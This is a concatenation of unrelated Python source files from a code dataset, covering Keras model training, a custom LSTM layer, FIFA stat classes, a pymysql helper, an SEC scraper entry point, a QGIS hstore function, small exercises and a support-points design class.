ModelMGPU(AV_model, NUM_GPU)\n adam = optimizers.Adam(learning_rate=0.00003)\n loss = audio_loss_original(batch_size=batch_size, people_num=people_num)\n parallel_model.compile(loss=loss, optimizer=adam)\n else:\n AV_model = AV.AV_model(people_num)\n adam = optimizers.Adam(learning_rate=0.00003)\n loss = audio_loss_original(batch_size=batch_size, people_num=people_num)\n AV_model.compile(optimizer=adam, loss=loss)\n\ntrain_generator = AVGenerator(trainfile, database_path=database_path, batch_size=batch_size, shuffle=True)\nval_generator = AVGenerator(valfile, database_path=database_path, batch_size=batch_size, shuffle=True)\n\nif NUM_GPU > 1:\n # learning rate reduced by half every 1.8 million batches, total of 5 million batches of 6, 30 million examples, 1.5 million batches\n # lr reduced by half twice in the course of the training\n parallel_model = ModelMGPU(AV_model, NUM_GPU)\n adam = optimizers.Adam(learning_rate=0.00003)\n loss = audio_loss(gamma=gamma_loss, beta=beta_loss, people_num=people_num)\n parallel_model.compile(loss=loss, optimizer=adam)\n print(AV_model.summary())\n history = parallel_model.fit_generator(generator=train_generator,\n validation_data=val_generator,\n epochs=epochs,\n workers=workers,\n use_multiprocessing=MultiProcess,\n callbacks=[TensorBoard(log_dir='./log_AV', update_freq=10000, histogram_freq=1)]\n # callbacks = [TensorBoard(log_dir='./log_AV'), checkpoint, rlr]\n\n )\n\n filepath = model_path + \"/AVmodel-\" + str(people_num) + \".h5\"\n AV_model.save_weights('./checkpoints/my_checkpoint')\n\n plt.plot(history.history['acc'])\n plt.plot(history.history['val_acc'])\n plt.title('model accuracy')\n plt.ylabel('accuracy')\n plt.xlabel('epoch')\n plt.legend(['train', 'test'], loc='upper left')\n plt.show()\n # summarize history for loss plt.plot(history.history['loss']) plt.plot(history.history['val_loss']) plt.title('model loss')\n plt.ylabel('loss')\n plt.xlabel('epoch')\n plt.legend(['train', 'test'], loc='upper left')\n plt.show()\n\nif NUM_GPU <= 1:\n history=AV_model.fit_generator(generator=train_generator,\n validation_data=val_generator,\n epochs=epochs,\n workers=workers,\n use_multiprocessing=MultiProcess,\n # callbacks=[TensorBoard(log_dir='./log_AV'), checkpoint, rlr],\n callbacks=[TensorBoard(log_dir='./log_AV', update_freq=10000, histogram_freq=1)]\n )\n\n filepath = model_path + \"/AVmodel-\" + str(people_num)\n AV_model.save(filepath)\n\n plt.plot(history.history['acc'])\n plt.plot(history.history['val_acc'])\n plt.title('model accuracy')\n plt.ylabel('accuracy')\n plt.xlabel('epoch')\n plt.legend(['train', 'test'], loc='upper left')\n plt.show()\n # summarize history for loss plt.plot(history.history['loss']) plt.plot(history.history['val_loss']) plt.title('model loss')\n plt.ylabel('loss')\n plt.xlabel('epoch')\n plt.legend(['train', 'test'], loc='upper left')\n plt.show()\n","repo_name":"sjpberge/Looking-to-Listen","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22170758423","text":"class Solution(object):\n def letterCombinations(self, digits):\n \"\"\"\n :type digits: str\n :rtype: List[str]\n \"\"\"\n A={\"2\":\"abc\",\"3\":\"def\",\"4\":\"ghi\",\"5\":\"jkl\",\"6\":\"mno\",\"7\":\"pqrs\",\"8\":\"tuv\",\"9\":\"wxyz\"}\n ans=[]\n for _ in range(len(digits)):\n temp=[]\n for i in range(len(A[digits[_]])):\n for var in ans:\n temp.append(var+A[digits[_]][i])\n if _ is 0:\n for a in A[digits[_]]:\n temp.append(a)\n ans=temp[:]\n return ans\n \n ","repo_name":"SHY-Corp/LeetCode-Solutions","sub_path":"Python/17. LetterCombinationsOfAPhoneNumber.py","file_name":"17. LetterCombinationsOfAPhoneNumber.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":240,"dataset":"github-code","pt":"67"} +{"seq_id":"18354337058","text":"\nFIFA_BASE_URL = \"https://www.fifaindex.com\"\n\nclass FifaMeta():\n\n def __init__(self, fifa_id, fifa_name, fifa_year, fifa_version):\n\n self.fifa_name = fifa_name\n self.fifa_id = fifa_id\n self.fifa_year = fifa_year\n self.fifa_version = fifa_version\n\n\nclass PlayerVersionStats():\n\n def __init__(self, stats_meta, stats):\n\n self.stats_meta = stats_meta\n self.bio = FifaBio(stats_meta, stats[\"bio\"])\n self.club_info = FifaClubInfo(stats_meta, stats[\"club_info\"])\n self.internation_info = FifaInternationalInfo(stats_meta, stats[\"international_info\"])\n self.specialties = stats[\"specialties\"]\n self.traits = stats[\"traits\"]\n try:\n self.ball_skills = FifaBallSkills(stats_meta, stats[\"ball_skills\"])\n except:\n self.ball_skills = FifaBallSkills(stats_meta, {})\n try:\n self.defence = FifaDefence(stats_meta, stats[\"defence\"])\n except:\n self.defence = FifaDefence(stats_meta, {})\n try:\n self.mental = FifaMental(stats_meta, stats[\"mental\"])\n except:\n self.mental = FifaMental(stats_meta, {})\n try:\n self.passing = FifaPassing(stats_meta, stats[\"passing\"])\n except:\n self.passing = FifaPassing(stats_meta, {})\n try:\n self.physical = FifaPhysical(stats_meta, stats[\"physical\"])\n except:\n self.physical = FifaPhysical(stats_meta, {})\n try:\n self.shooting = FifaShooting(stats_meta, stats[\"shooting\"])\n except:\n self.shooting = FifaShooting(stats_meta, {})\n try:\n self.goalkeeper = FifaGoalkeeper(stats_meta, stats[\"goalkeeper\"])\n except:\n self.goalkeeper = FifaGoalkeeper(stats_meta, {})\n\n \nclass FifaBio():\n\n def __init__(self, stats_meta, stats):\n\n self.stats_meta = stats_meta\n self.name = stats[\"name\"]\n self.overall_rating = stats[\"overall_rating\"]\n self.potential_rating = stats[\"potential_rating\"]\n self.height = stats[\"height\"]\n self.weight = stats[\"weight\"]\n self.preferred_foot = stats[\"preferred_foot\"]\n self.birth_date = stats[\"birth_date\"]\n self.age = stats[\"age\"]\n self.preferred_positions = stats[\"preferred_positions\"]\n self.player_work_rate = stats[\"player_work_rate\"]\n self.weak_foot = stats[\"weak_foot\"]\n self.skill_moves = stats[\"skill_moves\"]\n self.value = stats[\"value\"]\n self.wage = stats[\"wage\"]\n\nclass FifaClubInfo():\n\n def __init__(self, stats_meta, stats):\n\n self.stats_meta = stats_meta\n self.club_name = stats[\"club_name\"]\n self.position = stats[\"position\"]\n self.kit_number = stats[\"kit_number\"]\n self.joined_club = stats[\"joined_club\"]\n self.contract_ends = stats[\"contract_ends\"]\n\nclass FifaInternationalInfo():\n\n def __init__(self, stats_meta, stats):\n\n self.stats_meta = stats_meta\n self.country = stats[\"country\"]\n self.position = stats[\"position\"]\n self.kit_number = stats[\"kit_number\"]\n\nclass FifaStatsCategory():\n\n def __init__(self, stats_meta, stats, attributes):\n\n self.stats_meta = stats_meta\n for attribute in attributes:\n try:\n setattr(self, attribute, stats[attribute])\n except:\n setattr(self, attribute, None)\n\nclass FifaBallSkills(FifaStatsCategory):\n\n def __init__(self, stats_meta, stats):\n super().__init__(stats_meta, stats, [\"ball_control\",\"dribbling\"])\n\nclass FifaDefence(FifaStatsCategory):\n\n def __init__(self, stats_meta, stats):\n super().__init__(stats_meta, stats, [\"marking\",\"slide_tackle\",\"stand_tackle\"])\n\nclass FifaMental(FifaStatsCategory):\n\n def __init__(self, stats_meta, stats):\n super().__init__(stats_meta, stats, [\"aggression\",\"reactions\",\"att_position\",\"interceptions\",\"vision\",\"composure\"])\n\nclass FifaPassing(FifaStatsCategory):\n\n def __init__(self, stats_meta, stats):\n super().__init__(stats_meta, stats, [\"crossing\",\"short_pass\",\"long_pass\"])\n\nclass FifaPhysical(FifaStatsCategory):\n\n def __init__(self, stats_meta, stats):\n super().__init__(stats_meta, stats, [\"acceleration\",\"stamina\",\"strength\",\"balance\",\"sprint_speed\",\"agility\",\"jumping\"])\n\nclass FifaShooting(FifaStatsCategory):\n\n def __init__(self, stats_meta, stats):\n super().__init__(stats_meta, stats, [\"heading\",\"shot_power\",\"finishing\",\"long_shots\",\"curve\",\"fk_acc\",\"penalties\",\"volleys\"])\n\nclass FifaGoalkeeper(FifaStatsCategory):\n\n def __init__(self, stats_meta, stats):\n super().__init__(stats_meta, stats, [\"gk_positioning\",\"gk_diving\",\"gk_handling\",\"gk_kicking\",\"gk_reflexes\"])\n\nclass FifaPlayerRow():\n\n def __init__(self, row, fifa_year, fifa_version):\n\n self.fifa_year = fifa_year\n self.fifa_version = fifa_version\n self.player_id = int(row[\"data-playerid\"])\n self.nationality = row.find(\"td\", attrs={\"data-title\":\"Nationality\"}).find(\"a\")[\"title\"]\n ovr_pot = row.find(\"td\", attrs={\"data-title\":\"OVR / POT\"}).find_all(\"span\")\n self.overall_rating = int(ovr_pot[0].text)\n self.potential_rating = int(ovr_pot[1].text)\n name_block = row.find(\"td\", attrs={\"data-title\":\"Name\"}).find(\"a\")\n self.name = name_block.text\n self.link = FIFA_BASE_URL + name_block[\"href\"]\n self.prefered_positions = [pos[\"title\"] for pos in row.find(\"td\", attrs={\"data-title\":\"Preferred Positions\"}).find_all(\"a\")]\n\n","repo_name":"maxhleonard/football","sub_path":"src/FootballStats/objects/fifa_data.py","file_name":"fifa_data.py","file_ext":"py","file_size_in_byte":5557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73214797013","text":"# -*- coding: utf-8 -*-\nimport keras.layers.recurrent\nfrom keras.layers.recurrent import *\n\nclass LSTM_base(Recurrent):\n '''Long Short-Term Memory unit - Hochreiter 1997.\n For a step-by-step description of the algorithm, see\n [this tutorial](http://deeplearning.net/tutorial/lstm.html).\n # Arguments\n output_dim: dimension of the internal projections and the final output.\n init: weight initialization function.\n Can be the name of an existing function (str),\n or a Theano function (see: [initializations](../initializations.md)).\n inner_init: initialization function of the inner cells.\n forget_bias_init: initialization function for the bias of the forget gate.\n [Jozefowicz et al.](http://www.jmlr.org/proceedings/papers/v37/jozefowicz15.pdf)\n recommend initializing with ones.\n activation: activation function.\n Can be the name of an existing function (str),\n or a Theano function (see: [activations](../activations.md)).\n inner_activation: activation function for the inner cells.\n # References\n - [Long short-term memory](http://deeplearning.cs.cmu.edu/pdfs/Hochreiter97_lstm.pdf) (original 1997 paper)\n - [Learning to forget: Continual prediction with LSTM](http://www.mitpressjournals.org/doi/pdf/10.1162/089976600300015015)\n - [Supervised sequence labelling with recurrent neural networks](http://www.cs.toronto.edu/~graves/preprint.pdf)\n - [A Clockwork RNN](http://arxiv.org/abs/1402.3511)\n '''\n\n def __init__(self, output_dim,\n num_blocks=None, connection='full',\n with_recurrent_link=True, with_i=True, with_f=True, with_o=True,\n init='glorot_uniform', inner_init='orthogonal',\n forget_bias_init='one', activation='tanh',\n inner_activation='hard_sigmoid',\n W_regularizer=None, U_regularizer=None, b_regularizer=None,\n dropout_W=0., dropout_U=0., **kwargs):\n self.output_dim = output_dim\n self.init = initializations.get(init)\n self.inner_init = initializations.get(inner_init)\n self.forget_bias_init = initializations.get(forget_bias_init)\n self.activation = activations.get(activation)\n self.inner_activation = activations.get(inner_activation)\n self.num_blocks = output_dim if num_blocks is None else num_blocks\n self.connection = connection\n self.with_recurrent_link = with_recurrent_link\n self.with_i, self.with_f, self.with_o = with_i, with_f, with_o\n self.W_regularizer = regularizers.get(W_regularizer)\n self.U_regularizer = regularizers.get(U_regularizer)\n self.b_regularizer = regularizers.get(b_regularizer)\n self.dropout_W, self.dropout_U = dropout_W, dropout_U\n\n if self.dropout_W or self.dropout_U:\n self.uses_learning_phase = True\n super(LSTM_base, self).__init__(**kwargs)\n\n def build(self, input_shape):\n assert self.connection in ['full', 'clockwork']\n self.input_spec = [InputSpec(shape=input_shape)]\n input_dim = input_shape[2]\n self.input_dim = input_dim\n\n if self.stateful:\n self.reset_states()\n else:\n # initial states: 2 all-zero tensors of shape (output_dim)\n self.states = [None, None]\n\n self.rep = self.output_dim / self.num_blocks\n if self.with_recurrent_link:\n if self.connection == 'clockwork':\n self.U_mask = K.variable(np.eye(self.num_blocks, k=1, dtype=K.floatx()))\n self.U_g_mask = K.variable(\n np.repeat(np.repeat(np.eye(self.num_blocks, k=1, dtype=K.floatx()), self.rep, axis=0),\n self.rep, axis=1))\n elif self.connection == 'full':\n self.U_mask = K.ones((self.num_blocks, self.num_blocks))\n self.U_g_mask = K.ones((self.output_dim, self.output_dim))\n\n self.trainable_weights = []\n self.W_g = self.init((input_dim, self.output_dim), name='{}_W_g'.format(self.name))\n self.trainable_weights.append(self.W_g)\n if self.with_recurrent_link:\n self.U_g = self.inner_init((self.output_dim, self.output_dim), name='{}_U_g'.format(self.name))\n self.trainable_weights.append(self.U_g)\n self.b_g = K.zeros((self.output_dim,), name='{}_b_g'.format(self.name))\n self.trainable_weights.append(self.b_g)\n\n if self.with_i:\n self.W_i = self.init((input_dim, self.num_blocks), name='{}_W_i'.format(self.name))\n self.trainable_weights.append(self.W_i)\n if self.with_recurrent_link:\n self.U_i = self.inner_init((self.num_blocks, self.num_blocks), name='{}_U_i'.format(self.name))\n self.trainable_weights.append(self.U_i)\n self.b_i = K.zeros((self.num_blocks,), name='{}_b_i'.format(self.name))\n self.trainable_weights.append(self.b_i)\n if self.with_f:\n self.W_f = self.init((input_dim, self.num_blocks), name='{}_W_f'.format(self.name))\n self.trainable_weights.append(self.W_f)\n if self.with_recurrent_link:\n self.U_f = self.inner_init((self.num_blocks, self.num_blocks), name='{}_U_f'.format(self.name))\n self.trainable_weights.append(self.U_f)\n self.b_f = self.forget_bias_init((self.num_blocks,), name='{}_b_f'.format(self.name))\n self.trainable_weights.append(self.b_f)\n\n if self.with_o:\n self.W_o = self.init((input_dim, self.num_blocks), name='{}_W_o'.format(self.name))\n self.trainable_weights.append(self.W_o)\n if self.with_recurrent_link:\n self.U_o = self.inner_init((self.num_blocks, self.num_blocks), name='{}_U_o'.format(self.name))\n self.trainable_weights.append(self.U_o)\n self.b_o = K.zeros((self.num_blocks,), name='{}_b_o'.format(self.name))\n self.trainable_weights.append(self.b_o)\n\n self.regularizers = []\n if self.W_regularizer:\n self.W_regularizer.set_param(K.concatenate([self.W_g,\n self.W_i,\n self.W_f,\n self.W_o]))\n self.regularizers.append(self.W_regularizer)\n if self.U_regularizer:\n self.U_regularizer.set_param(K.concatenate([self.U_g,\n self.U_i,\n self.U_f,\n self.U_o]))\n self.regularizers.append(self.U_regularizer)\n if self.b_regularizer:\n self.b_regularizer.set_param(K.concatenate([self.b_g,\n self.b_i,\n self.b_f,\n self.b_o]))\n self.regularizers.append(self.b_regularizer)\n\n if self.initial_weights is not None:\n self.set_weights(self.initial_weights)\n del self.initial_weights\n\n\n def reset_states(self):\n assert self.stateful, 'Layer must be stateful.'\n input_shape = self.input_spec[0].shape\n if not input_shape[0]:\n raise Exception('If a RNN is stateful, a complete ' +\n 'input_shape must be provided (including batch size).')\n if hasattr(self, 'states'):\n K.set_value(self.states[0],\n np.zeros((input_shape[0], self.output_dim)))\n K.set_value(self.states[1],\n np.zeros((input_shape[0], self.output_dim)))\n else:\n self.states = [K.zeros((input_shape[0], self.output_dim)),\n K.zeros((input_shape[0], self.output_dim))]\n\n\n def preprocess_input(self, x):\n if self.consume_less == 'cpu':\n if 0 < self.dropout_W < 1:\n dropout = self.dropout_W\n else:\n dropout = 0\n input_shape = self.input_spec[0].shape\n input_dim = input_shape[2]\n timesteps = input_shape[1]\n\n x_c = time_distributed_dense(x, self.W_g, self.b_g, dropout,\n input_dim, self.output_dim, timesteps)\n result = K.concatenate([x_c], axis=2)\n if self.with_i:\n x_i = time_distributed_dense(x, self.W_i, self.b_i, dropout,\n input_dim, self.output_dim, timesteps)\n result = K.concatenate([result, x_i], axis=2)\n if self.with_f:\n x_f = time_distributed_dense(x, self.W_f, self.b_f, dropout,\n input_dim, self.output_dim, timesteps)\n result = K.concatenate([result, x_f], axis=2)\n if self.with_o:\n x_o = time_distributed_dense(x, self.W_o, self.b_o, dropout,\n input_dim, self.output_dim, timesteps)\n result = K.concatenate([result, x_o], axis=2)\n return result\n else:\n return x\n\n\n def step(self, x, states):\n h_tm1 = states[0]\n c_tm1 = states[1]\n B_W = states[2]\n\n if self.with_recurrent_link:\n B_U = states[3]\n if self.with_i:\n U_i = K.repeat_elements(self.U_i * self.U_mask, self.rep, axis=0)\n if self.with_f:\n U_f = K.repeat_elements(self.U_f * self.U_mask, self.rep, axis=0)\n if self.with_o:\n U_o =K.repeat_elements(self.U_o * self.U_mask, self.rep, axis=0)\n if self.with_i:\n W_i = K.repeat_elements(self.W_i, self.rep, axis=0)\n b_i = K.repeat_elements(self.b_i, self.rep, axis=0)\n if self.with_f:\n W_f = K.repeat_elements(self.W_f, self.rep, axis=0)\n b_f = K.repeat_elements(self.b_f, self.rep, axis=0)\n if self.with_o:\n W_o = K.repeat_elements(self.W_o, self.rep, axis=0)\n b_o = K.repeat_elements(self.b_o, self.rep, axis=0)\n\n if self.consume_less == 'cpu':\n x_g = x[:, :self.output_dim]\n last = self.output_dim\n if self.with_i:\n x_i = K.repeat_elements(x[:, last: last + self.num_blocks], self.rep, axis=0)\n last = last + self.num_blocks\n if self.with_f:\n x_f = K.repeat_elements(x[:, last: last + self.output_dim], self.rep, axis=0)\n last = last + self.num_blocks\n if self.with_o:\n x_o = K.repeat_elements(x[:, last: last + self.output_dim], self.rep, axis=0)\n else:\n x_g = K.dot(x * B_W[0], self.W_g) + self.b_g\n last = 0\n if self.with_i:\n x_i = K.dot(x * B_W[last + 1], W_i) + b_i\n last += 1\n if self.with_f:\n x_f = K.dot(x * B_W[last + 1], W_f) + b_f\n last += 1\n if self.with_o:\n x_o = K.dot(x * B_W[last + 1], W_o) + b_o\n last += 1\n\n if self.with_recurrent_link:\n u_g = self.activation(K.dot(h_tm1 * B_U[0], self.U_g * self.U_g_mask))\n last = 0\n if self.with_i:\n u_i = K.dot(h_tm1 * B_U[last + 1], U_i)\n last += 1\n if self.with_f:\n u_f = K.dot(h_tm1 * B_U[last + 1], U_f)\n last += 1\n if self.with_o:\n u_o = K.dot(h_tm1 * B_U[last + 1], U_o)\n last += 1\n g = self.activation(x_g + u_g)\n gi = self.inner_activation(x_i + u_i) * g if self.with_i else g\n c = self.inner_activation(x_f + u_f) * c_tm1 + gi if self.with_f else c_tm1 + gi\n h = self.inner_activation(x_o + u_o) * self.activation(c) if self.with_o else self.activation(c)\n else:\n g = self.activation(x_g)\n gi = self.inner_activation(x_i) * g if self.with_i else g\n c = self.inner_activation(x_f) * c_tm1 + gi if self.with_f else c_tm1 + gi\n h = self.inner_activation(x_o) * self.activation(c) if self.with_o else self.activation(c)\n return h, [h, c]\n\n\n def get_constants(self, x):\n constants = []\n\n if 0 < self.dropout_W < 1:\n input_shape = self.input_spec[0].shape\n input_dim = input_shape[-1]\n ones = K.ones_like(K.reshape(x[:, 0, 0], (-1, 1)))\n ones = K.concatenate([ones] * input_dim, 1)\n B_W = [K.in_train_phase(K.dropout(ones, self.dropout_W), ones) for _ in range(4)]\n constants.append(B_W)\n else:\n constants.append([K.cast_to_floatx(1.) for _ in range(4)])\n\n if 0 < self.dropout_U < 1 and self.with_recurrent_link:\n ones = K.ones_like(K.reshape(x[:, 0, 0], (-1, 1)))\n ones = K.concatenate([ones] * self.output_dim, 1)\n B_U = [K.in_train_phase(K.dropout(ones, self.dropout_U), ones) for _ in range(4)]\n constants.append(B_U)\n else:\n constants.append([K.cast_to_floatx(1.) for _ in range(4)])\n\n return constants\n\n\n def get_config(self):\n config = {\"output_dim\": self.output_dim,\n \"num_blocks\": self.num_blocks,\n \"with_recurrent_link\": self.with_recurrent_link,\n \"connection\": self.connection,\n \"with_i\": self.with_i,\n \"with_f\": self.with_f,\n \"with_o\": self.with_o,\n \"init\": self.init.__name__,\n \"inner_init\": self.inner_init.__name__,\n \"forget_bias_init\": self.forget_bias_init.__name__,\n \"activation\": self.activation.__name__,\n \"inner_activation\": self.inner_activation.__name__,\n \"W_regularizer\": self.W_regularizer.get_config() if self.W_regularizer else None,\n \"U_regularizer\": self.U_regularizer.get_config() if self.U_regularizer else None,\n \"b_regularizer\": self.b_regularizer.get_config() if self.b_regularizer else None,\n \"dropout_W\": self.dropout_W,\n \"dropout_U\": self.dropout_U}\n base_config = super(LSTM_base, self).get_config()\n return dict(list(base_config.items()) + list(config.items()))\n","repo_name":"alex-ht/SmilNN","sub_path":"SmilNN/lstm.py","file_name":"lstm.py","file_ext":"py","file_size_in_byte":14608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"39432620229","text":"nombreArchivo = str(input('Ingrese nombre de archivo : '))\nnombreArchivo = nombreArchivo + '.txt'\n\nlinea1 = str(input('Ingrese primera linea : '))\nf = open(nombreArchivo, 'x')\nf.write(linea1 + '\\n')\nf.close()\n\nlinea2 = str(input('Ingrese segunda linea : '))\nf = open(nombreArchivo, 'a')\nf.write(linea2)\nf.close()\n\ndatos = open(nombreArchivo, 'r').read()\nprint('Los datos del archivo son los siguientes : ')\nprint(datos)","repo_name":"rramirezdoc/Open-BootcampEjercicios","sub_path":"Python/Tema8/Ejercicio1.py","file_name":"Ejercicio1.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29405577908","text":"import os\nimport pymysql\nimport configparser\n\n\nclass Mysql():\n def __init__(self, reset_config=None, database='mysql', file='database.ini') -> None:\n \"\"\"\n mysql 构造mysql数据化连接\n Args:\n reset_config ([dict], optional): [重置后传入的数据库配置信息]. Defaults to None.\n Raises:\n FileExistsError: [description]\n \"\"\"\n self.PORJECT_DIR = os.path.dirname(os.path.abspath(__file__)) # 项目路径\n self.fileName = self.PORJECT_DIR + '/' + file\n if reset_config:\n self.db = pymysql.connect(**reset_config)\n else:\n self.config = configparser.ConfigParser() # 拿到一个配置对象\n if not os.path.exists(self.fileName):\n raise FileExistsError(\"数据库配置文件不存在\")\n self.config.read(self.fileName, encoding='utf-8') # 读取配置文件,注意编码\n if not self.config.has_section(database):\n raise ValueError(\"mysql配置不存在\")\n mysql_config = self.config.items(database) # 读取[mysql]配置信息 list\n mysql_config = dict(map(lambda x: [x[0], x[1]], mysql_config))\n mysql_config.update({\"port\": int(mysql_config.get(\"port\"))}) # 默认读取端口为字符串‘3306’,需转换成int\n self.db = pymysql.connect(**mysql_config)\n self.cursor = self.db.cursor(pymysql.cursors.DictCursor) # 创建游标\n \n def __del__(self):\n # 自动销毁数据库连接\n self.db.close()\n \n def create(self, table, data):\n \"\"\"\n 创建表\n table: str\n sql: str\n \"\"\"\n self.cursor.execute(\"DROP TABLE IF EXISTS {}\".format(table))\n sql = ' VARCHAR(255),'.join(data)\n sql_query = \"CREATE TABLE %s ( %s VARCHAR(255))\" % (table, sql)\n try:\n self.cursor.execute(sql_query)\n except Exception as e:\n print(e.args)\n\n def select(self, sql) -> list:\n \"\"\"[查询数据]\n\n Args:\n sql ([str]): [需要查询的sql语句]\n \"\"\"\n self.cursor.execute(sql)\n data = self.cursor.fetchall()\n return data\n\n def insert(self, table, data, *args):\n \"\"\"[数据保存到指定表中]\n\n Args:\n table ([str]): [表名]\n data ([dict]): [数据字典]\n \"\"\"\n if data and isinstance(data, dict):\n keys = ', '.join(data.keys())\n values = ', '.join(['%s'] * len(data))\n sql_query = 'insert into %s (%s) values (%s)' % (table, keys, values)\n try:\n # print(sql_query % tuple(data.values()))\n self.cursor.execute(sql_query, tuple(data.values()))\n return True\n except Exception as e:\n print(e.args)\n self.db.rollback()\n \n def update_insert(self,table, data, *args):\n \"\"\"[先更新数据,如果数据不存在时进行insert]\n\n Args:\n table ([str]): [表名]\n data ([dict]): [数据字典]\n Eg: insert into t_param (param_name, param_value) values (#{paramName}, #{paramValue}) ON DUPLICATE KEY UPDATE param_name = #{paramName},param_value = #{paramValue}\n \"\"\"\n keys = ', '.join(data.keys())\n values = ', '.join(['%s'] * len(data))\n \n a = tuple(data.keys())\n b = tuple(data.values())\n sql = dict(map(lambda x,y: [x, y], a, b))\n updatefiled = ','.join([str(k) + '=' + str(v) for k, v in sql.items()])\n sql_query = 'insert into %s (%s) values (%s) ON DUPLICATE KEY UPDATE %s' % (table, keys, values, updatefiled)\n try:\n # print(sql_query % tuple(data.values()))\n self.cursor.execute(sql_query, tuple(data.values()))\n return True\n except Exception as e:\n # print(e.args)\n self.db.rollback()\n \n def update_or_delete(self, sql):\n \"\"\"[更新/删除数据]\n Args:\n sql ([str]): [sql更新数据]\n \"\"\"\n self.cursor.execute(sql)\n self.db.commit()\n \n def commit(self):\n \"\"\"[sql执行]\n \"\"\"\n self.db.commit()\n \n def close(self):\n # 关闭连接\n self.db.close()\n\nif __name__ == \"__main__\":\n mysql = Mysql()\n sql = {\"text\": \"9696\", 'id': 7}\n mysql.update_insert('aaa', sql)\n mysql.commit()\n \n","repo_name":"kidword/ReadMe","sub_path":"数据库/databse/mysqldb.py","file_name":"mysqldb.py","file_ext":"py","file_size_in_byte":4465,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"11407799350","text":"import argparse\nimport pandas as pd\nfrom sec_scraper import download_sec_filings\nfrom price_ratio_scraper import download_historical_price_ratio\nfrom parser import parse_reports\nfrom csv_writer import write as write_csv\nfrom xlsx_writer import write as write_xlsx\nimport os\n\ndef main():\n parser = argparse.ArgumentParser(description='Estimate companies intrinsic value.')\n parser.add_argument(\"--scrape-sec\", type=bool, const=True, nargs='?')\n parser.add_argument(\"--scrape-price-ratio\", type=bool, const=True, nargs='?')\n parser.add_argument(\"--parse\", type=bool, const=True, nargs='?')\n args = parser.parse_args()\n\n base_path = \"./out\"\n TickerFile = pd.read_csv(\"companylist.csv\")\n Tickers = TickerFile['Symbol'].tolist()\n\n tickers = Tickers\n\n if args.scrape_sec:\n for ticker in tickers:\n dir_path = base_path + \"/\" + ticker\n download_sec_filings(ticker, dir_path)\n \n if args.scrape_price_ratio:\n for ticker in tickers:\n dir_path = base_path + \"/\" + ticker\n download_historical_price_ratio(ticker, dir_path)\n\n if args.parse:\n for ticker in tickers:\n dir_path = base_path + \"/\" + ticker\n db = parse_reports(dir_path)\n write_csv(db, os.path.join(dir_path, \"numbers.csv\"))\n write_xlsx(db, os.path.join(dir_path, \"numbers.xlsx\"))\n\n\nif __name__ == '__main__':\n main()","repo_name":"meldiner/intrinsic-valuer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"23154319333","text":"import numpy as np\r\nprint(\"Enter elements of matrix A :-\")\r\nA=np.zeros((3,3),dtype=np.int64)\r\nfor i in range(3):\r\n for j in range(3):\r\n A[i][j]=eval(input(\"Enter A[\"+f'{i}'+\"][\"+f'{j}'+\"] :\"))\r\n\r\nprint(\"\\nEnter elements of matrix B :-\")\r\nB=[]\r\nfor i in range(3):\r\n m=[]\r\n for j in range(3):\r\n m.append(eval(input(\"Enter B[\"+f'{i}'+\"][\"+f'{j}'+\"] :\")))\r\n B.append(m)\r\nB=np.array(B)\r\n\r\nprint(\"\\nArray A :-\\n\",A)\r\nprint(\"\\nArray B :-\\n\",B)","repo_name":"Rohit-0301/Python","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33431380941","text":"@qgsfunction(args='auto', group='Custom')\ndef hstore_contains_hstore(field, hstore_input, feature, parent):\n\t\"\"\"\n\t\tReturns True if the hstore tags field contains all the keys and values in the hstore_input.\n\t\tFalse otherwise.\n\t\t\n\t\t

Syntax

\n\t\thstore_contains_hstore(field, hstore_input)

\n\n\t\t

Arguments

\n\t\t field → name of the field containing the hstore tags (in double quotes)

\n\t\t hstore_input → hstore containing keys and values

\n\t\t\n\t\t

Example

\n\t\t\n\t\t\t hstore_contains_hstore(\"tags\", 'amenity=>restaurant,cuisine=>swiss') → True

\n\t\"\"\" \n\thstore_string = field\n\tkey_value_list = hstore_input.split(',')\n\tfor key_value in key_value_list: \n\t\t[key, value] = key_value.split('=>')\n\t\tsearch_string = '\"'+key.strip()+'\"=>\"'+value.strip()+'\"'\n\t\tif search_string not in hstore_string:\n\t\t\treturn False\n\treturn True\n","repo_name":"NathanW2/qgsexpressionsplus","sub_path":"hstore_contains_hstore.py","file_name":"hstore_contains_hstore.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"74944670614","text":"import numpy as np\nimport openturns as ot\nimport matplotlib.pyplot as plt\nfrom scipy.spatial import distance_matrix\n\n\nclass GreedySupportPoints:\n \"\"\"\n Incrementally select new design points with greedy support points. Support points use a specific kernel, the energy-distance kernel.\n\n Parameters\n ----------\n distribution : :class:`openturns.Distribution`\n Distribution the design points must represent.\n If not specified, then *candidate_set* must be specified instead.\n Even if *candidate_set* is specified, can be useful if it allows the use of analytical formulas.\n candidate_set_size : positive int\n Size of the set of all candidate points.\n Unnecessary if *candidate_set* is specified. Otherwise, :math:`2^{12}` by default.\n candidate_set : 2-d list of float\n Large sample that empirically represents a distribution.\n If not specified, then *distribution* and *candidate_set_size* must be in order to generate it automatically.\n initial_design : 2-d list of float\n Sample of points that must be included in the design. Empty by default.\n\n Examples\n --------\n >>> import openturns as ot\n >>> import otkerneldesign as otkd\n >>> distribution = ot.ComposedDistribution([ot.Normal(0.5, 0.1)] * 2)\n >>> # Greedy support points design\n >>> sp = otkd.GreedySupportPoints(distribution=distribution)\n >>> sp_design = sp.select_design(20)\n \"\"\"\n\n def __init__(\n self,\n distribution=None,\n candidate_set_size=None,\n candidate_set=None,\n initial_design=None,\n 